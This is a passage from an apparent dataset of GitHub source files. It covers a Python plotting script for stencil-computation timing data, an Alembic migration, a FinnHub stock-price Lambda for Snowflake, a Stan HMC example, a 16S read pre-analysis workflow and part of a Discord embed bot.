i in sorted(rgap.keys()):\n list = sorted(rgap[i])\n leng = len(list)\n leng = leng/100\n j = 0\n while j < leng:\n if j % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n j += 1\n rgap[i] = list\n #sgap\n for i in sorted(sgap.keys()):\n list = sorted(sgap[i])\n leng = len(list)\n leng = leng/100\n j = 0\n while j < leng:\n if j % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n j += 1\n sgap[i] = list\n #vgap\n for i in sorted(vgap.keys()):\n list = sorted(vgap[i])\n leng = len(list)\n leng = leng/100\n j = 0\n while j < leng:\n if j % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n j += 1\n vgap[i] = list\n\n # EdgeCalc\n #\n for i in sorted(edgecalc.keys()):\n\n list = sorted(edgecalc[i])\n leng = len(list)\n leng = leng / 100\n if leng < 1 :\n leng = 1.5\n j = 0\n while j < leng:\n if j % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n j += 1\n edgecalc[i] = list\n for i in sorted(corecalc.keys()):\n for j in sorted(corecalc[i].keys()):\n list = sorted(corecalc[i][j])\n leng = len(list)\n leng = leng / 100\n if leng < 1 :\n leng = 1.5\n k = 0\n while k < leng:\n if k % 2 == 0:\n list.pop(0)\n else:\n list.pop()\n k += 1\n corecalc[i][j] = list\n\n\ndef readDataFiles():\n open_file(\"\")\n removeExtremes()\n global blocking\n global edgecalc\n global corecalc\n global sgap, vgap, rgap\n f = open(resultdir + \"combinedBlock.txt\", \"w\")\n tbl = open(resultdir + \"tableBlock.txt\", \"w\")\n t = PrettyTable([\"Size\", \"Median\", \"Average\", \"Standard Deviation\", \"%\"])\n f.write(\"BLOCKING: Size, Median, Average, Standard Deviation\\n\")\n comNormal = 0\n comTotal = 0\n for i in sorted(blocking.keys()):\n\n # Write for each and numpy median each border for each width.\n list = blocking[i]\n avg = np.average(list)\n med = np.median(list)\n std = np.std(list)\n\n perc = std / avg * 100\n block[i] = (med, avg, std, perc)\n f.write(str(i)+ \",\" + str(med) + \",\" + str(avg) +\",\" + str(std) + \",\" + str(round(perc,1)) +\"%\\n\")\n t.add_row([i, med, avg, std, round(perc,1)])\n sor = sorted(blocking[i])\n normaly = kstest(list, 'norm')\n if (normaly[1] > 0.05):\n comNormal+=1\n comTotal +=1\n\n if plotting is True:\n plotList = sorted(list)\n title = \"Block\" + str(i)\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/block/block\" + str(i))\n plt.close()\n tbl.write(str(t))\n tbl.close()\n t = PrettyTable([\"Size\",\"Send Median\", \"Recv Median\", \"Verify Median\" ,\"Send Average\", \" Recv Average\", \"Verify Average\", \"Send Std\", \"Recv Std\", \"Verify Std\"])\n f.write(\"COMGAP: Size, SRV Median, SRV, Average, SRV Standard Deviation\\n\")\n #print(\"BLOCKINGCOM normals:\"+ str(comNormal))\n\n tbl = open(resultdir+ \"tableGap.txt\", \"w\")\n sTotal = 0\n rTotal = 0\n vTotal = 0\n sNormal = 0\n rNormal = 0\n vNormal = 0\n for i in sorted(sgap.keys()):\n savg = np.average(sgap[i])\n ravg = np.average(rgap[i])\n vavg = np.average(vgap[i])\n\n smed = np.median(sgap[i])\n rmed = np.median(rgap[i])\n vmed = np.median(vgap[i])\n\n sstd = np.std(sgap[i])\n rstd = np.std(rgap[i])\n vstd = np.std(vgap[i])\n\n vperc = vstd/vavg * 100\n sperc = sstd/ravg * 100\n rperc = rstd/ravg * 100\n sNor = kstest(sgap[i], 'norm')\n rNor = kstest(rgap[i], 'norm')\n vNor = kstest(vgap[i], 'norm')\n if (sNor[1] > 0.05):\n sNormal+=1\n if (rNor[1] > 0.05):\n rNormal+=1\n if (vNor[1] > 0.05):\n vNormal+=1\n\n if plotting is True:\n plotList = sorted(rgap[i])\n title = \"rgap\" + str(i)\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/gap/rgap\" + str(i))\n plt.close()\n plotList = sorted(sgap[i])\n title = \"sgap\" + str(i)\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/gap/sgap\" + str(i))\n plt.close()\n plotList = sorted(vgap[i])\n title = \"vgap\" + str(i)\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/gap/vgap\" + str(i))\n plt.close()\n\n vTotal+=1\n rTotal+=1\n sTotal+=1\n\n\n gap[i] = ((smed, savg, sstd, sperc),(rmed,ravg,rstd,rperc),(vmed,vavg,vstd,vperc))\n\n f.write(str(math.floor(i))+ \",\" + str(smed)+\";\" + str(savg) +\";\" + str(sstd) + \",\" + str(rmed)+\";\" + str(ravg) +\";\" + str(rstd) +\",\" + str(vmed)+\";\" + str(vavg) +\";\" + str(vstd) +\"\\n\")\n t.add_row([str(math.floor(i)), med, rmed, vmed, savg, ravg, vavg, sstd, rstd, vstd])\n # print(\"SGAP :\" +str(sNormal) + \"/\" + str(sTotal))\n # print(\"RGAP :\" +str(rNormal) + \"/\" + str(rTotal))\n # print(\"VGAP :\" +str(rNormal) + \"/\" + str(vTotal))\n tbl.write(str(t))\n tbl.close()\n tbl = open(resultdir+ \"tableEdge.txt\", \"w\")\n t = PrettyTable([\"Size\", \"HALO\" ,\"Median\", \"Average\", \"Standard Deviation\", \"%\"])\n f.write(\"EDGECALC: Size, Halo, Median, Average, Standard Deviation\\n\")\n for i in sorted(edgecalc.keys()):\n # Write for each and numpy median each border for each width.\n list = edgecalc[i]\n splitline = str(i).split(\".\")\n halo = 11\n if int(splitline[0]) % 10 == 1:\n halo = 10\n splitline[0] = int(splitline[0]) - 1\n else:\n halo = splitline[1]\n avg = np.average(list)\n med = np.median(list)\n std = np.std(list)\n perc = std / avg * 100\n edges[i] = (med,avg,std,perc)\n sor = sorted(edgecalc[i])\n\n if plotting is True:\n plotList = sorted(list)\n title = \"edge\" + str(i)\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/edge/edge\" + str(i) +\".png\")\n plt.close()\n\n f.write(str(splitline[0]) + \",\" + str(halo) + \",\"+str(med) + \",\" + str(avg) +\",\" + str(std) + \",\" + str(round(perc,1)) +\"%\\n\")\n t.add_row([str(splitline[0]), halo, med, avg, std, round(perc,1)])\n f.write(\"#####################################################\\nCORECALC: SizeW, SizeH, Halo, Median, Average, Standard Deviation, std % of avg\\n\")\n tbl.write(str(t))\n tbl.close()\n tbl = open(resultdir+ \"tableCore.txt\", \"w\")\n t = PrettyTable([\"Size W\", \"Size H\", \"Halo\",\"Median\", \"Average\", \"Standard Deviation\", \"%\"])\n global corecalc\n for i in sorted(corecalc.keys()):\n # Write for each and numpy median each border for each width.\n core[i] = dict()\n for j in corecalc[i].keys():\n heightHalo = str(j).split(\".\")\n list = corecalc[i][j]\n avg = np.average(list)\n med = np.median(list)\n std = np.std(list)\n perc = std/avg * 100\n core[i][j]= (med,avg,std,perc)\n f.write(str(i) + \",\" +str(heightHalo[0]) + \",\" + str(heightHalo[1]) + \",\"+str(med) + \",\" + str(avg) +\",\" + str(std) + \",\" + str(round(perc,1)) +\"%\\n\")\n t.add_row([str(i), str(heightHalo[0]), str(heightHalo[1]), med, avg, std, round(perc,1)])\n if plotting is True:\n plotList = sorted(corecalc[i][j])\n title = \"core\" + str(i) + \"_\" + str(j) + \".png\"\n print(\"Plot \" + title)\n plt.plot(plotList, label=title)\n plt.savefig(plotdir + \"/core/\" + title)\n plt.close()\n # corecalc[i][j] = sorted(corecalc[i][j])\n f.close()\n\n tbl.write(str(t))\n tbl.close()\n # corecalc = None\n # edgecalc = None\n # blocking = None\n # sgap = None\n # vgap = None\n\ndef addlabels(x,y,z):\n for i in range(len(x)):\n val = str(round(y[i], 2)) + \"%\"\n plt.text(i+1, z[0]//2, val, ha = 'center')\n\ndef findValidGapCore():\n # 1 for avg, 0 for median\n medianOrAvg = 1\n iterations = 2520\n # compare gaps added\n # gaps need to be multiplied by each direciton sent. 2 for horizontal.\n # same goes for edge.\n special = PrettyTable([\"Width\", \"Height\", \"HALO\", \"Gap/Sstep\", \"CCalc/Sstep\", \"EdgeCalc/Sstep\"\n , \"Ssteps\", \"Core Time > Block Time\", \"(ECalc + CCalc + Gap) * Ssteps\", \"% compared to OG run\",\n \"OG run\"])\n special28= PrettyTable([\"Width\", \"Height\", \"HALO\", \"Gap/Sstep\", \"CCalc/Sstep\", \"EdgeCalc/Sstep\"\n , \"Ssteps\", \"Core Time > Block Time\", \"(ECalc + CCalc + Gap) * Ssteps\", \"% compared to OG run\",\n \"OG run\"])\n graphValues = []\n graphStd = []\n graphX = []\n graphPerc = []\n i = 0\n while i < 10:\n graphValues.append(0)\n graphStd.append(0)\n graphX.append(i+1)\n graphPerc.append(0)\n i+=1\n for w in sorted(core.keys()):\n # DataType Varies by:\n # Type WIDTH, HEIGHT, HALO, note\n # GAP y , n , y , multiply by 2\n # EDGE y , n , y, multiply by 2\n # CORE y , y , y\n #\n\n # For each WIDTH:\n # Find Edge -- fixed per width --\n # Find HEIGHT\n # TEST FOR ALL HALOS\n # update gap\n # update edge\n # update core\n # TEST:\n # make sure block[width] is sufficiently high over core calc.\n # multiply gap with 2 for each direction\n # for each halo gap should be multiplied by halo.\n # use HALO 1 as baseline\n\n # REPEAT FOR EVERY HEIGHT.\n original_time = -999\n # create tables per height.\n t = PrettyTable([\"Width\", \"Height\", \"HALO\", \"Gap/Sstep\", \"CCalc/Sstep\", \"EdgeCalc/Sstep\"\n , \"Ssteps\", \"Core Time > Block Time\", \"(ECalc + CCalc + Gap) * Ssteps\",\n \"% compared to OG run\", \"OG run\"])\n for h in core[w].keys():\n splitH = h.split(\".\")\n halo = int(splitH[1])\n height = int(splitH[0])\n\n # get values for current width, height, halo setup\n gapsSend = gap[w * halo][0][medianOrAvg]\n gapsRecv = gap[w * halo][1][medianOrAvg]\n gapsVerify = gap[w * halo][2][medianOrAvg]\n blockValue = block[w * halo][medianOrAvg]\n coreValue = core[w][h][medianOrAvg]\n if halo == 10:\n key = w + 0.1\n else:\n key = w + (halo/10)\n edgeValue = edges[key][medianOrAvg]\n\n # modify values\n # these need to be calculated for each direction\n gapsSend *= 2\n gapsRecv *= 2\n gapsVerify *= 2\n edgeValue *= 2\n\n # simplify\n gapsCombined = gapsSend + gapsRecv + gapsVerify\n supersteps = SUPERSTEPS * (1/halo)\n\n coreOverBlock = False\n if coreValue > blockValue:\n coreOverBlock = True\n\n # SUM total with supersteps performed\n gapsTotal = gapsCombined * supersteps\n edgeTotal = edgeValue * supersteps\n coreTotal = coreValue * supersteps\n\n\n time = gapsTotal + edgeTotal + coreTotal\n ###\n perc = 0\n if halo == 1:\n original_time = time\n else:\n perc = time/original_time * 100\n\n graphPerc[0] = 100\n global graphHeight, graphWidth\n if graphHeight == height and graphWidth == w:\n graphValues[halo-1] = time\n # get values for current width, height, halo setup\n stdgapsSend = gap[w * halo][0][2]\n stdgapsRecv = gap[w * halo][1][2]\n stdgapsVerify = gap[w * halo][2][2]\n stdcoreValue = core[w][h][2]\n if halo == 10:\n graphPerc[0] = 100\n key = w + 0.1\n else:\n key = w + (halo / 10)\n stdedgeValue = edges[key][2]\n\n # modify values\n # these need to be calculated for each direction\n stdgapsSend *= 2\n stdgapsRecv *= 2\n stdgapsVerify *= 2\n stdedgeValue *= 2\n\n # simplify\n stdgapsCombined = stdgapsSend + stdgapsRecv + stdgapsVerify\n stdgapsTotal = stdgapsCombined * supersteps\n stdedgeTotal = stdedgeValue * supersteps\n stdcoreTotal = stdcoreValue * supersteps\n stdtime = stdgapsTotal + stdedgeTotal + stdcoreTotal\n graphStd[halo-1] = stdtime\n graphPerc[halo-1] = perc\n\n # fill table and write correctly\n # Likely just copy from last\n\n t.add_row([w, height, halo, gapsCombined, coreValue, edgeValue, supersteps, coreOverBlock, time, perc,\n original_time])\n # append to a special file under each subfolder.\n if (perc < 100 and coreOverBlock is True):\n if halo != 1:\n special.add_row([w, height, halo, gapsCombined, coreValue, edgeValue, supersteps, coreOverBlock, time, perc, original_time])\n if halo != 10:\n special28.add_row([w, height, halo, gapsCombined, coreValue, edgeValue, supersteps, coreOverBlock, time, perc, original_time])\n\n # print(t)\n s = open(resultdir + \"/final/\" +str(w) + \".txt\", \"w\")\n s.write(str(t))\n s.close()\n\n # end for each width\n if special:\n s = open(plotdir +\"/special.txt\", \"w\")\n s.write(str(special))\n s.close()\n print()\n if special28:\n s = open(plotdir +\"/special29.txt\", \"w\")\n s.write(str(special28))\n s.close()\n if graphValues[0] != 0:\n title = \"Runtime with standard deviation for a domain size of \" + str(graphWidth) + \"w \" +str(graphHeight) + \"h\"\n plotloc = plotdir + \"/\" + str(graphWidth) + \"_\" +str(graphHeight) + \"_std\"\n\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Border Exchange Thickness\")\n ax.set_ylabel(\"Runime (s)\")\n ax.yaxis.grid(True)\n plt.title(title)\n plt.bar(graphX, graphValues, yerr=graphStd, capsize=6, color=\"lightsteelblue\", alpha=0.8)\n addlabels(graphX, graphPerc, graphValues)\n plt.savefig(plotloc)\n # print(graphValues)\n # print(\"\\n\")\n # print(graphStd)\n\ndef plotAverages():\n if plotAverages is True:\n # Block\n\n list = block\n x_axis = []\n averageValues = []\n copy = sorted(blocking[200], reverse=True)\n for i in list.keys():\n x_axis.append(int(i))\n averageValues.append(float(list[i][1]))\n\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.title(\"Blocking communication time for messages\")\n\n plt.plot(x_axis, averageValues,\n color=\"lightsteelblue\")\n plt.savefig(plotdir + \"/avg/block\")\n\n # exit(1)\n\n # Gap\n\n list = sgap\n x_axis = []\n averageValues = []\n for i in list.keys():\n x_axis.append(int(i))\n averageValues.append(float(np.average(list[i])))\n\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.title(\"Send cpu lock for communication\")\n\n list = rgap\n x_axis = []\n averageValues2 = []\n for i in list.keys():\n x_axis.append(int(i))\n averageValues2.append(float(np.average(list[i])))\n\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.title(\"Receive cpu lock for communication\")\n list = vgap\n x_axis = []\n averageValues3 = []\n copy = sorted(blocking[200], reverse=True)\n for i in list.keys():\n x_axis.append(int(i))\n averageValues3.append(float(np.average(list[i])))\n\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.title(\"Core lock for non-blocking communication steps\")\n plt.plot(x_axis, averageValues,\n label=\"Send Gap\", color=\"blue\")\n plt.plot(x_axis, averageValues2,\n label=\"Receive Gap\", color=\"red\")\n plt.plot(x_axis, averageValues3,\n label=\"Verify Gap\", color=\"green\")\n leg = ax.legend()\n plt.savefig(plotdir + \"/avg/gap\")\n\n plt.close()\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.plot(x_axis, averageValues3,\n label=\"Verify Gap\", color=\"green\")\n plt.title(\"Core lock for non-blocking communication verification step\")\n leg = ax.legend()\n plt.savefig(plotdir + \"/avg/vgap\")\n\n plt.close()\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.plot(x_axis, averageValues2,\n label=\"Receive gap\", color=\"red\")\n leg = ax.legend()\n plt.title(\"Core lock for non-blocking communication receive step\")\n plt.savefig(plotdir + \"/avg/rgap\")\n plt.close()\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"Stencil points per communication\")\n ax.set_ylabel(\"Time (s)\")\n ax.yaxis.grid(True)\n plt.plot(x_axis, averageValues,\n label=\"Send Gap\", color=\"blue\")\n leg = ax.legend()\n plt.title(\"Core lock for non-blocking communication send step\")\n plt.savefig(plotdir + \"/avg/sgap\")\n plt.close()\n # Edge\n values = dict()\n i = 0\n for i in edges.keys():\n split = str(i).split(\".\")\n width = int(split[0])\n halo = int(split[1])\n if(halo == 0):\n width -= 1\n halo = 10\n try:\n k = values[width]\n except KeyError:\n values[width] = []\n values[width].append(edges[i][1])\n labels = [1,2,3,4,5,6,7,8,9,10]\n for i in values:\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"HALOS\")\n ax.set_ylabel(\"Time Calculation\")\n ax.yaxis.grid(True)\n plt.title(\"Edge calculation speed for width\" + str(i))\n\n plt.plot(labels, values[i],\n color=\"lightsteelblue\")\n plt.savefig(plotdir + \"/avg/edge/edge\" + str(i) +\".png\")\n plt.close()\n # Core\n # DO THIS BUT FOR every j in coreedges.\n for j in corecalc.keys():\n values = dict()\n i = 0\n for i in corecalc[j].keys():\n split = str(i).split(\".\")\n width = int(split[0])\n halo = int(split[1])\n if(halo == 0):\n width -= 1\n halo = 10\n try:\n k = values[width]\n except KeyError:\n values[width] = []\n values[width].append(core[j][i][1])\n labels = [1,2,3,4,5,6,7,8,9,10]\n for i in values:\n try:\n os.makedirs(plotdir+\"/avg/core/\" + str(j))\n except FileExistsError:\n pass\n fix, ax = plt.subplots(figsize=(15, 5))\n ax.set_xlabel(\"HALOS\")\n ax.set_ylabel(\"Time Calculation\")\n ax.yaxis.grid(True)\n\n plt.plot(labels, values[i],\n color=\"lightsteelblue\", label=\"1\")\n plt.title(\"Core calculation time for width \" +str(j) + \"w, \" + str(i) + \"h\")\n plt.savefig(plotdir + \"/avg/core/\" + str(j) + \"/\" + str(i)+ \".png\")\n plt.close()\n\ndef createEnvironment():\n try:\n os.makedirs(plotdir)\n except FileExistsError:\n print(\"Plotdir exists.\")\n try:\n os.makedirs(plotdir + \"/avg\")\n os.makedirs(plotdir + \"/block\")\n os.makedirs(plotdir + \"/core\")\n os.makedirs(plotdir + \"/edge\")\n os.makedirs(plotdir + \"/gap\")\n os.makedirs(plotdir + \"/avg/edge\")\n os.makedirs(plotdir + \"/avg/core\")\n os.makedirs(resultdir)\n os.makedirs(resultdir + \"/final\")\n except FileExistsError:\n print(\"Subplotdirs exists.\")\n\n\n\ngraphWidth = 400\ngraphHeight = 1000\nif __name__ == \"__main__\":\n createEnvironment()\n readDataFiles()\n plotAverages()\n findValidGapCore()\n # I think we need to plot the gaps, blocks, edgeCalc and corecalc.\n","repo_name":"fbrate/SWE-plot","sub_path":"readCombined.py","file_name":"readCombined.py","file_ext":"py","file_size_in_byte":27304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"34810309859","text":"\"\"\"auto_votes\n\nRevision ID: 22f86b5acb9c\nRevises: f80ec3a4809f\nCreate Date: 2023-04-01 16:42:41.347203\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '22f86b5acb9c'\ndown_revision = 'f80ec3a4809f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('vote',\n sa.Column('post_id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('post_id', 'user_id')\n )\n op.alter_column('posts', 'id',\n existing_type=sa.INTEGER(),\n nullable=False,\n autoincrement=True)\n op.alter_column('posts', 'own_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.alter_column('users', 'id',\n existing_type=sa.INTEGER(),\n nullable=False,\n autoincrement=True,\n existing_server_default=sa.text(\"nextval('users_id_seq'::regclass)\"))\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('users', 'id',\n existing_type=sa.INTEGER(),\n nullable=False,\n autoincrement=True,\n existing_server_default=sa.text(\"nextval('users_id_seq'::regclass)\"))\n op.alter_column('posts', 'own_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.alter_column('posts', 'id',\n existing_type=sa.INTEGER(),\n nullable=False,\n autoincrement=True)\n op.drop_table('vote')\n # ### end Alembic commands ###\n","repo_name":"PINKDDDD/fastapi-project","sub_path":"alembic/versions/22f86b5acb9c_auto_votes.py","file_name":"22f86b5acb9c_auto_votes.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26673745814","text":"# import unzip_requirements # Use this when deploying through Serverless\nimport ta\nfrom ta.volatility import BollingerBands\nfrom ta.utils import dropna\nimport json\nimport boto3\nimport pandas as pd\nimport requests\nfrom config import FinnHubAPI\n\ndef GetPriceDataFromExchangeFinnHub(event, context):\n retVal= {}\n retVal[\"data\"] = []\n\n # For debugging the input, write the EVENT to CloudWatch logs\n print(json.dumps(event))\n\n # Data is sent to Lambda via a HTTPS POST call. We want to get to the payload send by Snowflake\n event_body = event[\"body\"]\n payload = json.loads(event_body)\n \n for row in payload[\"data\"]:\n sflkRowRef = row[0] # This is how Snowflake keeps track of data as it gets returned\n symbol = row[1] # The data passed in from Snowflake that the input row contains.\n fromDate = row[2]\n toDate = row[3]\n \n # Will return URL without token to Snowflake for tracking\n URL = f'https://finnhub.io/api/v1/stock/candle?symbol={symbol}&resolution=D&from={fromDate}&to={toDate}'\n\n # Add our FinnHubAPI Key to the end of the URL.\n # This is in a new variable which will not be returned to Snowflake\n URLWithToken = f'{URL}&token={FinnHubAPI.TOKEN}'\n \n # GET data from the API\n httpData = requests.get(url = URLWithToken).json()\n \n # Convert to Pandas DataFrame\n df = pd.DataFrame(httpData)\n\n # Add the column names\n print(\"Adding column names\")\n df.columns = [\"Close\", \"High\", \"Low\", \"Open\", \"Status\", \"OpenTime\", \"Volume\"]\n\n # Set DateTime columns to correct type\n df['OpenTime'] = pd.to_datetime(df['OpenTime'], unit='ms')\n df['Open'] = df['Open'].astype(float)\n df['High'] = df['High'].astype(float)\n df['Low'] = df['Low'].astype(float)\n df['Close'] = df['Close'].astype(float)\n df['Volume'] = df['Volume'].astype(float)\n\n # Clean NaN values\n print(\"Cleaning NA values\")\n df = dropna(df)\n\n # Calculate the Bollinger Bands indicator\n indicator_bb = BollingerBands(close=df[\"Close\"], n=20, ndev=2) \n df['bb_bbm'] = indicator_bb.bollinger_mavg()\n df['bb_bbh'] = indicator_bb.bollinger_hband()\n df['bb_bbl'] = indicator_bb.bollinger_lband()\n df['bb_bbhi'] = indicator_bb.bollinger_hband_indicator()\n df['bb_bbli'] = indicator_bb.bollinger_lband_indicator()\n df['bb_bbw'] = indicator_bb.bollinger_wband()\n df['bb_bbp'] = indicator_bb.bollinger_pband()\n\n print(\"converting OHLC pandas to JSON. This does it as a string\")\n buffer = df.to_json(orient = \"records\")\n\n print(\"Interpret the JSON string into a dictionary for output\")\n jsonResponse = json.loads(buffer)\n\n # Prepare the output response\n response = {}\n response[\"url\"] = URL\n response[\"response\"] = jsonResponse\n\n retVal[\"data\"].append([sflkRowRef,response])\n\n # For debugging the output, write the RETurn VALue to CloudWatch logs\n # print(json.dumps(retVal))\n\n return retVal","repo_name":"Snowflake-Labs/sfguide-external-functions-examples","sub_path":"FetchStockPricesAndIndicators/priceData.py","file_name":"priceData.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"68"} +{"seq_id":"8987044228","text":"# First build stan/multi/multi with\n# > cd \n# make -j4 stan/multi/multi\n\nimport StanModelClient as smc\nimport MCMC as mcmc\nimport numpy as np\n\nserver = \"stan/multi/multi\"\ndata = \"stan/multi/multi.data.json\"\n\nmodel = smc.StanClient(server, data=data, seed=1234)\nD = model.dims()\n\nstepsize = 0.25\nsteps = 10\nmetric_diag = [1] * D\nsampler = mcmc.HMCDiag(model, stepsize=stepsize, steps=steps, metric_diag=metric_diag)\n\n# works, but excruciatingly slow\nM = 1000\ntheta = np.empty([M, D])\nfor m in range(M):\n theta[m, :], _ = sampler.sample()\n\nprint(theta.mean(0))\nprint(theta.std(0))\n\n# proposal_rng = lambda: np.random.normal(size=model.dims())\n# sampler = mcmc.Metropolis(model, proposal_rng)\n","repo_name":"bob-carpenter/stan-model-server","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"19001284834","text":"import sys\nimport os\nimport random\nimport string\n\nimport click\nfrom pyflow import WorkflowRunner\nfrom subprocess import call\n\nclass PreAnalyzer(WorkflowRunner):\n def __init__(self, run_dp, analysis_dp):\n self.run_dp = run_dp\n self.samples = self.get_sample_dict()\n self.read_output_dp = os.path.join(analysis_dp, 'reads')\n if not os.path.exists(self.read_output_dp):\n os.makedirs(self.read_output_dp)\n\n def get_sample_dict(self):\n sids = {}\n for fastq in os.listdir(self.run_dp):\n fastq_fp = os.path.join(self.run_dp, fastq.replace('.gz',''))\n if 'fastq' not in fastq: continue\n sid = '_'.join([x for x in fastq.replace('-','_').split('_')][:-3])\n\n if sid not in sids.keys():\n if '_R1_' in fastq: sids[sid] = {'r1': fastq_fp}\n elif '_R2_' in fastq: sids[sid] = {'r2': fastq_fp}\n else: sys.exit('[ERROR]: {} not an R1 or R2 fastq file!'.format(fastq_fp))\n else:\n if '_R1_' in fastq: sids[sid]['r1'] = fastq_fp\n elif '_R2_' in fastq: sids[sid]['r2'] = fastq_fp\n else: sys.exit('[ERROR]: {} not an R1 or R2 fastq file!'.format(fastq_fp))\n return sids\n\n def get_gunzip_cmd(self):\n gunzip_cmd = ['gunzip']\n for fastq in os.listdir(self.run_dp):\n if 'fastq' not in fastq: continue\n if '.gz' in fastq:\n gunzip_cmd.append(os.path.join(self.run_dp, fastq))\n if len(gunzip_cmd) == 1: return ['echo', 'no files to ungzip']\n return gunzip_cmd\n\n def workflow(self):\n \"\"\" method invoked on class instance run call \"\"\"\n self.addTask(\"gunzip\", command=self.get_gunzip_cmd())\n #mefit_taskids = []\n #for i, sid in enumerate(self.samples.keys()):\n # mefit_taskids.append(\"mefit_{}\".format(i))\n # self.addTask(\"mefit_{}\".format(i),\n # command=['mefit', '-s', os.path.join('tmp', sid),\n # '-r1', self.samples[sid]['r1'],\n # '-r2', self.samples[sid]['r2'],\n # '-avgq', '20'],\n # dependencies=['gunzip',])\n \n@click.command()\n@click.argument('run_dp')\n@click.argument('analysis_dp')\ndef pre_analysis(run_dp, analysis_dp):\n \"\"\" Pre-Analysis Management\n\n Sets up Pyflow WorkflowRunner with randomized log output string to avoid \n possible output collision if ran multiple times.\n\n Arguments:\n run_dp -- String path to run directory to pre-analyze\n \"\"\"\n log_output_dp = os.path.join(run_dp, 'bioinfo', 'logs', 'preanalysis')\n\n preanalyzer = PreAnalyzer(run_dp=run_dp, analysis_dp=analysis_dp)\n preanalyzer.run(mode='local', dataDirRoot=log_output_dp)\n\n for i, fastq in enumerate(os.listdir(run_dp)):\n if '_R1_' not in fastq and '_R2_' not in fastq: continue\n fastq_in = os.path.join(run_dp, fastq)\n fastq_out = os.path.join(preanalyzer.read_output_dp, fastq)\n\n output = open(fastq_out, 'w+')\n with open(fastq_in) as seqfile:\n for line in seqfile:\n if '@' == line[0]: output.write(line.replace(':','_'))\n else: output.write(line)\n \n\nif __name__ == \"__main__\":\n pre_analysis()\n","repo_name":"jordangumm/omics_16s","sub_path":"omics_16s/preanalysis.py","file_name":"preanalysis.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"39062414451","text":"import discord\nfrom discord.ext import commands\nfrom keep_alive import keep_alive\nimport os\n\nintents = discord.Intents.all()\nclient = commands.Bot(command_prefix=\"\\\\\", intents=intents)\n\n\ndef get_p(st, element, default):\n for parameter in st:\n if parameter.find(f\"{element}=\") == 0:\n st.remove(parameter)\n if element == \"color\":\n return parameter[len(element) + 1:], st\n else:\n return parameter[len(element) + 2:-1], st\n return default, st\n\n\ndef get_i(st, element):\n for parameter in st:\n if parameter.find(f\"{element}(\") == 0:\n index = st.index(parameter)\n del st[index]\n del st[index + 1]\n return st[index]\n return None\n\n\ndef get_f(st, element):\n for parameter in st:\n if parameter.find(f\"{element}(\") == 0:\n index = st.index(parameter)\n del st[index]\n for p in st:\n if p == \")\":\n f_index = st.index(p)\n del st[f_index]\n fp = st[index:f_index]\n inline = False\n for p in fp:\n if p.find(\"name=\")==0:\n name = p[6:-1]\n if p.find(\"value=\")==0:\n value = p[7:-1]\n if p.find(\"inline=\")==0:\n if p[7:] == \"True\":\n inline = True\n else:\n inline = False\n \n return [name, value, inline]\n\n\n@client.event\nasync def on_ready():\n print(f\"{client.user} çalışmaya hazır!\")\n\n\n@client.command()\nasync def embed(ctx, *, msg):\n if msg == \"temp\" or msg == \"template\":\n await ctx.send(\"https://Asistan.ahmetalpdogan.repl.co\")\n return\n \n st = msg[3:-3].split(\"\\n\")\n\n title, st = get_p(st, \"title\", None)\n description, st = get_p(st, \"description\", \"\")\n color, st = get_p(st, \"color\", \"2f3136\")\n \n e = discord.Embed(title=title,\n description=description,\n color=int(color, 16))\n \n for parameter in st:\n if 